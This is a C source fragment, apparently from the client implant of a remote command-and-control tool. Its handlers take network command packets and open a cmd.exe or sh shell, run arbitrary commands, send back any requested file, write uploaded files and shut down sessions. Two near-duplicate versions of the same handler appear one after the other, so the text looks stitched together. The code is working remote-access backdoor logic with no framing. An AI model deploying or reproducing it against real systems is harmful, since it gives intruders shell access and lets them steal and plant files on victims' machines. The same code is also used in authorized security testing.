command_packet_t *command_packet_stream_read(command_packet_stream_t *stream) { uint32_t length; uint8_t *data; command_packet_t *command_packet; if(!command_packet_stream_ready(stream)) return NULL; length = buffer_read_next_int32(stream->buffer); data = safe_malloc(length); buffer_read_next_bytes(stream->buffer, data, length); command_packet = command_packet_parse(data, length, stream->is_request); safe_free(data); return command_packet; }
void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length) { command_packet_stream_feed(driver->stream, data, length); while(command_packet_stream_ready(driver->stream)) { command_packet_t *in = command_packet_stream_read(driver->stream); command_packet_t *out = NULL; printf("Got a command: "); command_packet_print(in); if(in->command_id == COMMAND_PING && in->is_request == TRUE) { LOG_WARNING("Got a ping request! Responding!\n"); out = command_packet_create_ping_response(in->request_id, in->r.request.body.ping.data); } else if(in->command_id == COMMAND_SHELL && in->is_request == TRUE) { #ifdef WIN32 session_t *session = session_create_exec(driver->group, "cmd.exe", "cmd.exe"); #else session_t *session = session_create_exec(driver->group, "sh", "sh"); #endif controller_add_session(session); out = command_packet_create_shell_response(in->request_id, session->id); } else if(in->command_id == COMMAND_EXEC && in->is_request == TRUE) { session_t *session = session_create_exec(driver->group, in->r.request.body.exec.name, in->r.request.body.exec.command); controller_add_session(session); out = command_packet_create_exec_response(in->request_id, session->id); } else if(in->command_id == COMMAND_DOWNLOAD && in->is_request == TRUE) { struct stat s; if(stat(in->r.request.body.download.filename, &s) != 0) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { uint8_t *data; FILE *f = NULL; #ifdef WIN32 fopen_s(&f, in->r.request.body.download.filename, "rb"); #else f = fopen(in->r.request.body.download.filename, "rb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { data = safe_malloc(s.st_size); if(fread(data, 1, s.st_size, f) == s.st_size) out = command_packet_create_download_response(in->request_id, data, s.st_size); else out = command_packet_create_error_response(in->request_id, -1, "There was an error reading the file"); fclose(f); safe_free(data); } } } else if(in->command_id == COMMAND_UPLOAD && in->is_request == TRUE) { #ifdef WIN32 FILE *f; fopen_s(&f, in->r.request.body.upload.filename, "wb"); #else FILE *f = fopen(in->r.request.body.upload.filename, "wb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for writing"); } else { fwrite(in->r.request.body.upload.data, in->r.request.body.upload.length, 1, f); fclose(f); out = command_packet_create_upload_response(in->request_id); } } else if(in->command_id == COMMAND_SHUTDOWN && in->is_request == TRUE) { controller_kill_all_sessions(); out = command_packet_create_shutdown_response(in->request_id); } else { LOG_ERROR("Got a command packet that we don't know how to handle!\n"); out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!"); } if(out) { uint8_t *data; uint32_t length; printf("Response: "); command_packet_print(out); data = command_packet_to_bytes(out, &length); buffer_add_bytes(driver->outgoing_data, data, length); } command_packet_destroy(in); } }
static void handle_data_in(driver_command_t *driver, uint8_t *data, size_t length) { command_packet_stream_feed(driver->stream, data, length); while(command_packet_stream_ready(driver->stream)) { command_packet_t *in = command_packet_stream_read(driver->stream); command_packet_t *out = NULL; printf("Got a command: "); command_packet_print(in); if(in->command_id == COMMAND_PING && in->is_request == TRUE) { printf("Got a ping request! Responding!\n"); out = command_packet_create_ping_response(in->request_id, in->r.request.body.ping.data); } else if(in->command_id == COMMAND_SHELL && in->is_request == TRUE) { #ifdef WIN32 driver_exec_t *driver_exec = driver_exec_create(driver->group, "cmd.exe", in->r.request.body.shell.name); #else /* TODO: Get the 'default' shell? */ driver_exec_t *driver_exec = driver_exec_create(driver->group, "sh", in->r.request.body.shell.name); #endif out = command_packet_create_shell_response(in->request_id, driver_exec->session_id); } else if(in->command_id == COMMAND_EXEC && in->is_request == TRUE) { driver_exec_t *driver_exec = driver_exec_create(driver->group, in->r.request.body.exec.command, in->r.request.body.exec.name); out = command_packet_create_exec_response(in->request_id, driver_exec->session_id); } else if(in->command_id == COMMAND_DOWNLOAD && in->is_request == TRUE) { struct stat s; if(stat(in->r.request.body.download.filename, &s) != 0) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { uint8_t *data; #ifdef WIN32 FILE *f = NULL; fopen_s(&f, in->r.request.body.download.filename, "rb"); #else FILE *f = fopen(in->r.request.body.download.filename, "rb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { data = safe_malloc(s.st_size); if(fread(data, 1, s.st_size, f) == s.st_size) out = command_packet_create_download_response(in->request_id, data, s.st_size); else out = command_packet_create_error_response(in->request_id, -1, "There was an error reading the file"); fclose(f); safe_free(data); } } } else if(in->command_id == COMMAND_UPLOAD && in->is_request == TRUE) { #ifdef WIN32 FILE *f; fopen_s(&f, in->r.request.body.upload.filename, "wb"); #else FILE *f = fopen(in->r.request.body.upload.filename, "wb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for writing"); } else { fwrite(in->r.request.body.upload.data, in->r.request.body.upload.length, 1, f); fclose(f); out = command_packet_create_upload_response(in->request_id); } } else { printf("Got a command packet that we don't know how to handle!\n"); out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!"); } if(out) { uint8_t *data; uint32_t length; printf("Response: "); command_packet_print(out); data = command_packet_to_bytes(out, &length); message_post_data_out(driver->session_id, data, length); } } }